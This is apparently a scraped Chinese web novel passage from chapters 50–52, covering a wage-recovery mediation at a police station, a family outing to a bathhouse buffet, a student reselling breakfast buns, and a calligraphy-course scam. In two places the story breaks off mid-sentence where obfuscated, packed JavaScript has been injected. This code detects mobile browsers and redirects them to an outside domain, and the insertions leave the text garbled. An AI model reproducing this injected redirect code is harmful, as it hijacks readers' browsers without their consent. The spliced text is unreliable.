民警从纸袋里抽出一只黑色香奈儿包,放在桌上,不急不慢地说:“这位李女士声称,在2024年8月10日,也就是七夕节这天,孙先生送给她这只包,附带购物小票和发.票。李女士那天还发了朋友圈,其中有两张照片中出现了孙先生的脸。” 他话音一顿,将目光转向孙宇顺,“有这回事吗?” 孙宇顺眼神躲闪,支支吾吾:“呃,具体哪天,我也不记得了……” 民警问:“要看一遍李女士的朋友圈吗?” “不用了。”孙宇顺连忙拒绝。 民警继续说:“李女士还说,你们在金茂天地3栋1单元1201室同居。2025年1月3日,她跟朋友出去旅游,你独自搬离了你们同居的房子,带走了两大箱行李,里面就藏着这个包。” 孙宇顺瞪大眼,急吼吼地说:“那两箱都是我的东西,我没拿她的包!” “那为什么这个包,现在在你家里,由你老婆背着?” “我这……不是……”孙宇顺结巴了半天,终于编出一个合适的理由:“我给我老婆买的啊!付款记录都在我手机里呢!我找给你看!” 他掏出手机,手忙脚乱地点开支付宝,一路翻找,终于找到那条四万五的支付记录。 “你看看,就是我买的。”他把手机递到民警面前。 民警低下头仔细查看,又从证物袋中取出小票比对,很快发现问题:“这支付记录,跟小票上的日期是同一天啊。所以这个包,就是你送给李女士那个。” 事已至此,孙宇顺不得不和盘托出:“哎哟,不是——我是买了个真包,但是我又买了个同款假包。然后,我把真包送给了老婆,把假包给了这个女的。” 虽然事先已经听过这个版本了,但再次听到当事人亲口说出,常乐还是憋不住笑了。 民警也笑了。 常乐开始推波助澜:“警察同志,你听听看这合理吗?真包给老婆,假包给小三,这根本不符合逻辑嘛。” 她看向孙宇顺,讥讽道:“你要是真的这么爱你老婆,你找什么小三呀?” 民警也觉得荒唐:“你说你送给李女士的是假包,那为什么她会有购物小票和发.票呢?连编码都对得上。这你怎么解释?” “我……这……”孙宇顺彻底哑口无言了。 这时,一直沉默的邹晓琴开口了:“警察同志,我老公记错了,他送我的是假包。喏,就是这只。”她冲桌上的香奈儿包挑了挑下巴,“至于李女士的包去哪儿了,我也不清楚。也许是她拿去卖了吧,毕竟她本来就是出来卖的。这种女人的话,你们也信?” 李玉婷气得脸都白了。 她双手撑在桌面上,怒气冲冲地说:“你说这是假包,那你花了多少钱买的?” 邹晓琴轻蔑地瞟她一眼,转头看向孙宇顺。 孙宇顺不太确定:“三百多吧……” “好,我现在给你三百,你把这只包给我。”李玉婷扬起下巴,盯着邹晓琴,“你敢吗?” 邹晓琴紧抿着唇,沉默不语。 李玉婷讥讽道:“你应该很少背真包吧,所以不知道,香奈儿包包都是有芯片的,去专柜一查,什么购买日期、购买地点都能查得到。你敢去吗?” 邹晓琴脸色阴沉,依旧沉默着,但眼里已经闪现出一丝慌乱。 事情到这里已经很明朗了。 民警清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863760|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了清嗓,目光炯炯地看向孙宇顺,严肃地说:“按照刑法规定,你这种行为已经构成了盗窃罪,而且数额较大,可能会被判处三年以下有期徒刑,并处罚金。但是考虑到你跟李女士之前的关系,我建议你们好好沟通一下,商量出一个赔偿的金额。” 他话音刚落,李玉婷脱口而出:“五万!” 孙宇顺气得猛拍桌子,骂道:“你她妈穷疯了吧?” 李玉婷:“不给你就去坐牢吧!” 接下来又是一场漫长的口水战。 常乐悠闲地靠在椅子上,不打算参战。她今天已经骂了太多脏话,再说下去有损功德。 最终,在民警的监督下,孙宇顺不情不愿地给李玉婷转了四万五。 常乐挽着李玉婷,欢天喜地地走出了调解室。 李玉婷抽出自己的胳膊,朝反方向走去,说:“你等会儿,我去上个厕所。” “我也去。”常乐迫不及待地追上去。 李玉婷走了两步又停下,犹豫着说:“算了,还是先回去吧,我怕待会儿碰到他们。” “行。”常乐重新挽住她的胳膊,把她往外拖,“那我们赶紧出去。” 她拖着李玉婷走出派出所,珍姐和易诚立刻围了上来。 “钱到手了!”常乐兴奋地通知他们,手还紧紧攥着李玉婷的胳膊,另一只手从兜里掏出手机,打开支付宝的收款码,伸到李玉婷面前。 “给钱吧,一万。” 李玉婷眉头一皱,“裁决书里说,我只需要给你八千啊。” “我才不管裁决书怎么说,公司本来就欠我一万。”常乐把手机怼到她面前,催促道:“快点!” 李玉婷不情不愿地掏出手机。 “要不……”她讷讷地说,“我下周再还你们?我刚租了房子,马上要交租金了。” “不行!”珍姐横眉怒目道,“现在!赶紧!打钱!” 李玉婷的反水,早在常乐的预料之中,所以从调解室出来后,她就寸步不离跟着李玉婷,生怕一个没看住,让她给溜了,从此人间蒸发。 钱只有到自己手上,才能真的放心。 常乐凶神恶煞道:“快点!不给钱就别想——” “走”字还没说完,李玉婷猝不及防地向后一仰,整个人重重地跌倒在地上。 所有人都呆住了。 只见孙宇顺一只手拽着李玉婷的头发,另一只手狠命地甩在她的脸上,嘴里还骂骂咧咧:“你个臭表子,敲诈到我头上了!我养了你大半年,你吃我的、用我的、花我的,我没跟你算账就不错了,还敢报警抓我!” “啊啊啊——”李玉婷声嘶力竭地惨叫着。 邹晓琴就站在他身后,双手抱臂,眼神冰冷,睥睨着自己的男人在痛殴另一个女人。 “喂!你干什么!”易诚终于反应过来,大步冲上去,从身后抱住孙宇顺,拼命将他从李玉婷身上拖走。 常乐和珍姐也急忙上前,一个用身体护住李玉婷,另一个冲进派出所,大喊道:“外面有人打架!” 图图也狂吠起来。一时间,场面极其混乱。 民警很快冲出来,大声呵斥道:“干什么你们!都给我松开!” 最后,刚从派出所出来的孙宇顺,又被押送回去,邹晓琴也因为用包殴打民警而被带走。 李玉婷害怕到了极点,瑟缩在常乐身后,怎么劝都不肯再进派出所。 民警叹了口气,“那行吧,你先去医院验个伤,等状态好点再过来,配合我们调查。你放心,打人者已经被我们控制住了,他涉嫌故意伤害,还严重扰乱了公共秩序,轻则拘留,重则判刑。” 李玉婷讷讷地点了点头。 几个人护送她到路边,拦了辆出租车。 李玉婷掏出手机,手指颤抖着打开了支付宝。 她看着常乐,脸色依旧煞白,但眼里多了几分感激。 她哑声说:“我把钱转给你。” 常乐愣了一下,赶紧掏出手机。 转账成功。 接着是珍姐。李玉婷给她转了两万。 “谢谢你们。”李玉婷牵起唇角,勉强笑了下,弯腰钻进了出租车里。 常乐怔怔地看着出租车的尾灯,逐渐消失在十字路口。 “你说,她会回来吗?” “肯定不会。”珍姐语气笃定,“钱已经到手了,她肯定不想再跟老鳖孙有任何瓜葛。” “可是,公司还有一堆烂账呢……” 话未说完,一辆电瓶车疾驰而来,在他们面前刹停。车主摘下头盔,露出一张汗涔涔的脸。 “老刘!”常乐和珍姐同时发出惊呼。这是她们的前同事之一。 老刘见到她们,既兴奋又着急,忙问:“听说老鳖孙被抓了,真的吗?” “对。”珍姐指着身后的派出所,“还在里面关着呢。” 老刘在路边停好电瓶车,火急火燎地冲进了派出所。 常乐有些担忧:“他找老鳖孙有用吗?” “管他呢,都是成年人了,自己的工资自己要。”珍姐挽着常乐的胳膊,大步朝前走去,“咱们去大吃一顿吧!” 51. 51 在某知名连锁火锅店饱餐一顿后,常乐跟珍姐道了别,坐上易诚的车,美美地衣锦还乡。 天色已晚,车内光线昏暗,但完全不耽误她美滋滋地欣赏自己刚做的免费美甲。 车里正放着朴树的歌,常乐觉得不尽兴,换成了《好运来》,还打着节拍,放声唱了起来: “叠个千纸鹤,再叠个千纸鹤,叠个千纸鹤啊,再叠个千纸鹤……” 易诚笑得肩膀一颤一颤的:“我记得歌词好像不是这样的吧?” 常乐跟着节奏一颠一颠的:“今个儿我高兴,想怎么唱怎么唱……打个中国结,再打个中国结……” 后排的图图也跟着叫了起来。一人一狗各唱各的,乱七八糟,热闹非凡。 易诚笑得停不下来,都影响开车了。他放缓车速,试图让这两只生物冷静下来。 “对了,你同事怎么办?他们为什么不跟你们一起申请仲裁?” 常乐安静了一会儿,说:“不知道。一开始大家都挺团结的,有十几个人去提交了资料,但后来,去的人越来越少,有的人嫌麻烦,有的人说仲裁不好,我也不知道怎么不好……” 她说着说着,又唱了起来:“好运来祝你好运来,好运来带来喜和爱……总之,最后只剩下四个人了。” 易诚思索片刻,分析道:“我觉得你们找李玉婷是对的。老鳖孙已经金蝉脱壳了,找他根本没用。说实话,如果不是你想到这一招,李玉婷也很难从他那儿拿到钱,你们就更不用想了。” 常乐嘿嘿一笑,“虽然方法不怎么体面,但目的达到了。” 易诚由衷地赞叹道:“你还真聪明。” “那是。”常乐得意地挑挑眉,“那么多职场剧可不是白看的。” 伴随着喜庆的音乐,她又开始循环了:“叠个千纸鹤,再叠个千纸鹤……” 易诚无奈地笑了。 车子经过收费站,绕过匝道,上了高速。路上车不多,易诚在快车道一路疾驰,一个多小时后,就回到了教师小区。 常乐以最快的速度冲进了家门,迫不及待地跟姥姥和姥爷分享这个喜讯。 姥姥正在拖地,闻言直起腰身,惊喜地问:“多少钱啊?” “一万!” “哎哟哟,真不错。” 姥爷将视线从手机上抬起,摘下老花眼镜擦了擦,问:“没动手吧?” “没有。”常乐拍着胸脯保证,“我可是守法公民。” “那就好。”姥爷又戴上眼镜,“记得请易诚吃个饭,人家开车接送你,忙前忙后的,也出了不少力。” “知道啦!” 常乐说完,又马不停蹄地奔向二楼。 林文娟正在灯下练习书法,听到这个喜讯,也连连点头:“不错不错,钱终于要回来了,你得请我们吃饭。” “没问题!去吃什么?” 林文娟停下毛笔,想了想,说:“好久没吃烤肉了,东街口那家小牛烤肉店还开着吗?” 常乐前几天开车还路过那里,因此十分肯定:“还开着呢,生意好到爆。那明天就吃这家?” 林文娟点点头,用笔指了指洗手间,“跟你爸说一声。” 洗手间里亮着灯,但听不到水声,常乐用脚趾头都能猜到常建民又在生产化肥了。 “爸!”她冲里面嚷嚷道,“一个好消息和一个更好的消息,你想先听哪个?” 常建民语气无奈:“你就不能等我拉完了再说吗?” “谁知道你要拉到什么时候?” “……先说好消息吧。” “哈哈,我要到工资了,一万块!凭借我的聪明才智和勇敢无畏,正义终于战胜了邪恶——” 常建民打断她:“行了行了,那更好的消息呢?” “明天我请大家吃烤肉!” 常建民沉吟片刻,说:“你姥姥肠胃不好,姥爷牙口不好,选个健康点的吧。” 常乐有些为难:“健康点的?总不能吃轻食吧?这不是虐待老人吗?” 林文娟正好经过,听到父女俩的对话,停下脚步,提议道:“我听吴翠说,万达新开了一家自助餐厅,中式西式日式都有,人均149,也不贵。要不去试试那家?” 洗手间里传出常建民的附和:“好啊,就吃这家吧。” 常乐撇了撇嘴。 得,从人均五十,一下子跃升至人均一百五。 -- 晚上,常乐洗漱完,趴在床上,看微信群里的聊天记录。 那个维权群今天格外活跃,常乐才一会儿没看手机,未读信息就攀升至上百条,大家你一言我一语,讨论得相当热烈,就连常年隐身的人也冒出来献言献策。 小周说他已经收到了李玉婷的转账,大家都表示羡慕,并问他是怎么做到的。 老刘说他去派出所打听过了,老鳖孙要被拘留五天,大家都兴奋不已,以为老赖终于落网,这段维权之路终于看到了曙光。 一石激起千层浪,而最初投下那枚石头的常乐,却在群里异常沉默。 该不该告诉大家真相呢? 公司早就更换了法定代表人,老鳖孙也将股权转让了出去,他们只能找李玉婷要钱。而现在,李玉婷手上的钱明显不够大家分。 在一众毫无头绪的讨论中,常乐意外地发现了一条专业的建议,是公司的老员工王姐发的: 【我有个同学是律师,我向他打听过了,按照新《公司法》规定,如果股权转让发生在24年7月1日之后,债权人可以追加原股东为被执行人,前提是能证明他是恶意转让股权。】 下面又开始七嘴八舌地讨论: 【啊?什么意思啊?】 【也就是说,如果李玉婷没钱,我们可以追加老鳖孙为被执行人?】 【但是怎么证明他是恶意转让呢?】 【我也咨询过律师,他说实际操作起来很难。】 常乐挠了挠脑袋,觉得事情越来越难办了。 她发现珍姐也没有说话,想当初,这个群还是她创建的呢。 常乐跟珍姐打了个电话。 珍姐听她说完,沉默片刻,说:“其实,一开始律师也跟我提过这个建议,但我觉得太难了,需要调取公司的银行流水,比对股权的交易记录,查看是否存在抽逃出资……总之,太麻烦了,我一个基层员工根本拿不到这些证据,所以我就死磕李玉婷了。” 常乐越听越头大,同时也庆幸自己走了条野路子,幸运地拿到了钱。 至于其它同事,她也爱莫能助。 “对了,”珍姐又说,“我吃完饭回去拿我的手机,发现直播间被封了,平台说我长时间离开画面,判定我是挂机直播。” “啊?”常乐一愣,“不能申诉吗?” 她记得,直播间在线人数最高峰有两千五百多,还收获了不少打赏。如果珍姐真的能借此走上职业讨薪人的赛道,倒也是个不错的选择。 “没办法。”珍姐苦笑了下,“已经直播那么久了,现在才被封,也算是我运气好。” 常乐替她感到惋惜,但转念一想,如果对面一家发现自己被人偷窥而报警,那珍姐要面临的,就不是直播间被封这么简单的处罚了。 她安慰珍姐:“这个直播间也算是不辱使命,可以功成身退了。” 珍姐:“是啊,反正我们的钱已经到手了。” 两人都哈哈大笑起来。 熄灯后,常乐躺在床上,闭着眼,嘴角止不住地上扬。 真是收获满满的一天呐。 -- 夜里起了风,又下了雨,气温陡降至个位数。早上起床,常乐冻得直打哆嗦,不得不钻进衣柜里,找出压箱底的厚外套穿上。 这鬼迷日眼的天气,完全不按常理出牌。 中午吃饭时,常乐向姥姥姥爷宣布了自己要请客吃饭的特大喜讯。 姥姥姥爷还没表态,林文娟先犹豫了:“要不算了吧,这么冷的天,实在不想出门。” 常乐:“……这不是你提议的吗?” “主要是这种天气吧,没什么地方可以逛,出去吃个饭就得马上回来,何必呢?” 常乐气哼哼地不想说话。 常建民开口道:“要不这样吧,咱们找一家水会。”怕姥姥姥爷听不懂,他解释道:“就是那种洗浴中心,可以泡澡、吃自助、看电影、睡觉的地方,咱们下午先去泡泡澡,晚上吃自助,在那里睡一觉,明天早上再回来,怎么样?” 常乐眼睛一亮,热烈捧场:“好啊好啊。” 她听说青江市新开了几家水会,里面吃喝玩乐一应俱全,她早就想去试试了。 林文娟也积极响应:“行啊,吴翠之前跟我推荐过一家,叫什么水乡的,说里面的环境特别好,好像是249一个人吧。”她掏出手机,“我搜搜看。” 常乐一下子蔫了。 预算从一个人一百五,上涨到两百五。 那五个人,岂不是要花掉她薪水的八分之一?她千辛万苦讨来的薪水啊。 姥姥姥爷商量了一下,也觉得可以一试。 大家意见一致,常乐也不能表现得太抠,只得强颜欢笑道:“好啊,吃完饭就出发。” 两个小时后,一家五口站在这家名为“梦里水乡”的水会大堂里,常乐硬着头皮走向前台。 “你好,五位,两男三女。” 服务员递上五枚手环,示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姥姥忍着不适,又往嘴里塞了一大勺,闭眼咽了下去。 “现在不臭了。”她长舒一口气,“免费的就是香啊。” 林文娟忍不住笑了:“什么免费的?都包含在门票里了。” 姥姥用筷子夹起一大块牛排,放进嘴里撕咬着,忽然想到什么,转头看向常乐。 “吃不完能打包吗?” 常乐看着她嘴边一圈黑胡椒酱汁,极力憋住笑,说:“当然不行了!” “可惜,我还带了装备呢。”姥姥放下牛排,从兜里掏出两只塑料袋,抖开,每只大得都能塞进去一个西瓜。 一桌人全都震惊了。 林文娟急忙伸手抢走她的塑料袋,团成一团,塞进自己兜里,左看右看,生怕被服务员发现。 “妈,你哪来的塑料袋?” “从家里带的啊。” 常乐又好笑又无奈:“姥,大家要都像你这样,那自助餐厅都该倒闭了。” 姥姥振振有词:“我只是不想浪费粮食。” 林文娟无语地翻白眼:“不想浪费你就少拿点。” 姥爷也低声呵斥道:“家里是穷得揭不开锅吗?出来吃顿饭,你连吃带拿的,像什么话?” 姥姥讪讪地说:“知道了知道了,我把这一桌吃完就不拿了。” 吃了将近两个小时,一家人终于起身离开了餐厅。下楼梯的时候,每个人都保持着相同的姿势——一只手扶着墙,一只手撑着腰,生怕一口气没喘匀,就把那些美味佳肴吐了出来。 之后就是自娱自乐,打发时间。姥爷坐在沙发上玩手机,林文娟和常建民找了个小隔间看电视,常乐和姥姥转了一圈,决定去影厅看电影。 大荧幕上正在播放一部国产喜剧片,常乐半躺在按摩椅里,正边看边笑,忽然,从侧面伸来一只手,往她嘴里塞了个螃蟹。 常乐:“???” 姥姥从睡衣里掏出一只塑料袋,在她眼前晃了晃,语气颇为得意:“我偷偷带了几只。” 常乐瞪着这只装得半满的塑料袋,一脸狐疑:“就几只?” “螃蟹只有四只。”姥姥打开袋子给她看,“还有大虾、鲍鱼、海参,对了,”她又从身后掏出一只袋子,“这里面有蛋糕和水果,晚上饿了可以吃。” 常乐:“……” 饿了?她刚刚可是扶着墙出来的啊,再多吃一口就要吐了。 算了,就当是饭后小零嘴吧。 常乐一边啃着螃蟹的蟹钳,一边说:“姥,请你来算是值回票价了。” 52. 第 52 章 早上六点多,睡得不省人事的常乐被林文娟暴力摇醒。 常乐昨晚吃得太撑,电影还没看完,眼皮就直打架。她匆匆刷了个牙后,就去小隔间找林文娟了。 母女俩挤在不足四平米的榻榻米上,一开始睡得还算安稳。睡到半夜,常乐黏了上来,像树袋熊一样抱住林文娟,胳膊压在她的胸口,大腿搁在她的肚子上。 林文娟被泰山压顶,动弹不得,一整晚都没睡好。 她顶着两只黑眼圈,一脸幽怨地看着常乐,声音嘶哑:“送我去上学。” 常乐挣扎着醒来,恍惚中,仿佛看到了若干年后自己当妈的日常。 她不禁感慨,还是不婚不育好。 常乐和林文娟洗漱完,收拾好包裹,去公共休息区找其他三人。 地板上横七竖八地躺了好多人,鼾声从四面八方传来。她们小心翼翼地跨过一具具胖瘦不一的躯体,终于在角落里找到了姥爷和常建民。 两人都是打地铺睡的。姥爷睡得正酣,常建民已经醒了,正在看手机。 见到母女俩,他有气无力地爬起来,摸到眼镜戴上,可还是挡不住那耷拉下来的眼袋。 常乐:“爸,没睡好啊?” 常建民搓了搓脸,表情很痛苦,“各种打鼾、磨牙、说梦话,还有打电话的、手机外放、小孩哭闹……总之,没有一分钟是安静的。” 常乐同情地“嘶”了一声。 “姥姥呢?”她四处张望。 常建民指着对角线的位置,“鼾声最响的那个就是她。” 常乐又跨过一具具躯体,循着响亮的鼾声,找到了躺在另一个角落里的姥姥。 她睡得四仰八叉的,助听器搁在一旁,完全听不到周围的动静。常乐晃了她半天,才将她摇醒。 等一家五口都洗漱完后,林文娟给他们分配任务:“早饭要八点才开始,我跟建民来不及了,乐宝,你送我们走。爸,妈,你们记得去吃,吃完了自己打车回家。” 常乐攥住姥姥的手,郑重其事地交代:“姥,塑料袋洗洗还能用。” 姥姥回她一个坚定的眼神,“请组织放心,保证完成任务。” -- 还不到七点,一家三口坐上了车。常乐揉了揉肚子,虽然昨晚胡吃海塞的东西还没完全消化,但生物钟提醒她,该吃早饭了。 林文娟和常建民坐在后排,一个瘫在座椅里,死气沉沉,一个倚靠着车窗,奄奄一息。 “早上吃什么啊?”常乐问。 常建民气息微弱:“随便吧,来口热乎的就行。” 林文娟闭着眼,仿佛睡着了,过了好半天,才缓缓开口:“金桂社区有家生煎包不错,我每次路过,都看到门口好多人在排队。” 常乐每次送林文娟去北湖区老年大学,都要穿过金桂社区,那家早餐店永远在大排长龙,勾得她心痒痒的。今天时间充裕,正好可以一试。 “好啊,去那儿吃。” 车子抵达金桂社区时,常乐回头一看,后排的两人已经倒头呼呼大睡了。她没叫醒他们,车窗留了道小缝,下了车就找到那家生煎包店,排在了队伍的末端。 排队的人还挺多,常乐粗略数了下,前面至少有二十人,而店主做一锅要十分钟,平底锅不大,每锅也就三十个,几个锅子轮流做好,排到她估计也就…… 懒得算了。 店主已经从炉子上端起平底锅,走到了队伍前面,给第一个人装盒打包。 队伍骚动起来,但常乐等了好半天,也不见队伍往前挪动一步。 她听到身后的大爷怒气冲冲道:“又是他!” 常乐忍不住回头,好奇地问:“谁啊?” 大爷冲前面抬了抬下巴,“就最前面那个,也不知道是送外卖的,还是黄牛,每次都买一大锅。” “何止啊。”常乐前面的大妈补充道,“我有次排在他后面,亲眼见他买了三锅,装了满满一箱子。谁一大清早点那么多外卖啊?肯定是转手卖了。” 常乐踮起脚尖,越过重重人头,看到第一排小哥的背影——他的确穿着一件亮黄色的外卖服,桌上搁着一个外卖箱,正往里面一盒一盒地放生煎包。他还自备了一个挤酱瓶,打开瓶盖,端起装香辣酱的调料缸,往瓶子里倒了大半瓶。 平底锅已经空了,他还不走,霸占着队伍第一位,任由身后的人指责或谩骂。 常乐烦躁地“啧”了一声。 谁能想到,买个早餐还能碰上黄牛。 这年头,钻空子的人真是无处不在。 等了好半天,眼看着第二锅、第三锅陆续上桌,而那个外卖小哥岿然不动,还一盒一盒地往箱子里塞。 常乐的烦躁已经变成了怨忿,她不停地跺着脚,啧声连连,呼吸声粗如老牛。 一回头,队伍已经排得老长,还拐了个U形的弯。 三锅装完,那个小哥终于合上箱盖,提起箱子走出了队伍。 队伍仍没有挪动。他们还得等第四锅出炉。 他倒是毫无愧意,也毫无惧色,提着外卖箱,沿着长长的队伍往后走。 常乐拧紧眉头,正打算用三分正义三分凶恶四分诅咒的目光谴责他时,忽然发现,哎,这小哥好眼熟啊! “方煦!”她大喊一声。 方煦脚步一顿,东张西望着,很快发现了常乐。 他脸上瞬间绽开了笑容,跟她打招呼:“姐,好巧啊,你也住这儿啊?” “不是啊,我是慕名而来。”常乐垂眸,视线落在他的外卖箱上,话里有话,“听说这家生煎包很火,没想到,都衍生出了代购业务。” 方煦不好意思地笑笑,“我就住这个社区,离得近,所以,嘿嘿……” 常乐视线往上,落在他的衣服上,又问:“你不是回学校了吗?怎么去干外卖了?你哥知道吗?” “我正要去学校呢。”方煦把外卖服拉链拉开,露出里面的校服,“我同学都喜欢吃这家的生煎包,知道我住在这附近,都让我帮忙带饭。” 常乐不禁感慨:“哇,你还真是……乐于助人啊。” 这满满一大箱,是多少人的早饭啊!没想到,他刚回学校,就建立起了这么庞大的人际关系网。 方煦打开外卖箱,提起一个裹着塑料袋的纸碗,说:“姐,你等很久了吧?要不我送你一份?” “别别别,再饿不能饿着学生。”常乐摆摆手,“你赶紧去学校吧。” 方煦犹豫片刻,从箱子里摸出一个用塑料袋装好的卤蛋,递给常乐:“这是我自己卤的,送你一个。” 常乐接过热乎乎的蛋,伸长脖子,向箱子里望去,只见底部有只透明的大密封盒,里面装满了卤蛋。 “这也是给同学带的?收费吗?” “当然啦。”方煦咧嘴一笑,露出大白牙,“一个一块五。鸡蛋的成本是七毛,每次卤五十个,除去水电燃气和卤料的成本,能赚三十块吧。” 常乐:“……这也不多呀。” 方煦得意地说:“还有带饭也要收费呢,一份收一块,能赚三十。” 常乐点点头,也不知该夸还是该劝。 一天赚六十,一个月至少要去学校二十五天,那就是一千五,对高中生来说是够用了。 “行了,你快去吧。”她回过神来,冲方煦挥挥手,“别迟到了。” 已经七点二十了。方煦盖上盒盖,冲她一扬手,拔腿冲向停在路边的自行车。他将外卖箱绑在后座上,双腿狂蹬,黄色外套迎风招展,很快消失在了常乐的视野里。 新的一锅终于做好了。常乐一边剥蛋壳,一边随着队伍往前移动。 唔,这蛋卤得还挺入味,价格也挺划算。 想到这,她三两口吃完卤蛋,掏出手机,翻出方煦的微信,给他转账一点五元,并发了个点赞的表情包。 -- 接下来的一周,全家人的早饭都搞定了。也不知这个小老太太是怎么蒙混过关的,总之,当常乐打开冰箱,看到满满两大袋馒头包子花卷肉饼时,对姥姥佩服得是五体投地。 为了表示感谢,常乐请易诚吃了顿火锅,又莫名其妙被林文娟忽悠了一顿烤肉,还陪她参加了一场书法比赛。 据林文娟称,这个比赛的规格很高,是市电视台举办的,获奖者能接受媒体采访,还有机会参加省级比赛,并接受书法大师的亲自指点。 常乐听到后的第一反应是:市电视台?咱们这个小地方还有电视台?就算曾经有过,现在还存活着吗? 比赛场地设在一所中学的体育馆内,参赛选手来自各行各业,有坐着轮椅的耄耋老人,也有跟桌子一般高的小孩 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这套路,怎么这么熟悉呢? 林文娟一脸兴奋道:“真的吗?评委老师愿意给我写推荐信?” 工作人员点点头,微笑着说:“这样的机会可不多哦。” 不等林文娟同意,常乐插嘴问道:“哪个大师啊?” 工作人员报出一个她闻所未闻的名字。 常乐装作很懂的样子,“哦”了一声,“是他啊……对了,这个培训班怎么收费呢?” “不贵,大师跟我们电视台长期合作,给了个友情价。”工作人员伸出三根手指头,晃了晃,“不到三千。” 常乐:……那就是2999喽。 林文娟已经躁动了,常乐摁住她的肩膀,淡淡一笑道:“我们考虑一下吧。” 工作人员瞪大眼,一脸震惊:“这么好的机会,错过了可就没有了,你确定要放弃吗?” “我没说放弃,只是说考虑。”常乐保持着矜持的笑容,“你留个联系方式,明天给你答复吧。” 工作人员一边扫她的微信,一边叹气道:“连我都看得出来,林女士非常珍惜这次的机会。她很有潜力,获奖的可能性非常大,你忍心让她失望吗?” 常乐收起手机,挽着林文娟的胳膊,转身正要出门,又听见他说:“你妈妈把你养这么大,给你花了多少钱,没有百万也有几十万吧?你现在有能力回报她了,难道连这三千块钱都不愿意出吗?” 常乐缓缓回头,冷冷地瞥着他。 狗东西,跟我玩道德绑架? 老娘就没有道德。 刚走出办公室,林文娟就甩开常乐的胳膊,气恼地说:“才三千块,还考虑什么?又没让你出。” 常乐双手掐腰,冷着脸说:“妈,我问你,那个什么鬼大师,你之前听说过吗?” “……”林文娟犹豫了下,“我的确是最近才知道他的,但这有什么关系?人家就是很厉害啊。” 常乐长叹一口气。 恰在此时,刚刚被她唬过的小男孩从她面前经过,身后跟着他父母。一家三口敲响了办公室的门。 等他们进去后,常乐侧耳贴在门上,试图偷听里面的对话。 同样的开场白,同样的转折,甚至连最后PUA的话术,都换汤不换药:“孩子条件那么好,只需要参加一些专业的培训,就能有质的飞跃。你们作为父母,难道不希望孩子赢在起跑线上吗?” 常乐终于想起来,这套路在哪里见过了。 小某书上遍地都是啊! 她盯着林文娟,缓缓地说:“妈,你听说过童模吗?” 林文娟摇摇头。 常乐尽量用简单直白的语言,把这个骗术跟林文娟介绍一遍。 林文娟听完更糊涂了:“这跟我有什么关系?我又不去走秀。” 常乐扶额苦笑:“妈,你真不愧是姥姥的嫡亲女儿啊。” 母女俩不仅智商相当,脾气也像,又单纯又固执。今天跳这个坑,明天上那个当,一旦上头,八百头牛都拉不回来。 常乐幽幽地叹了口气。 这一天天的,操不完的心,防不完的骗。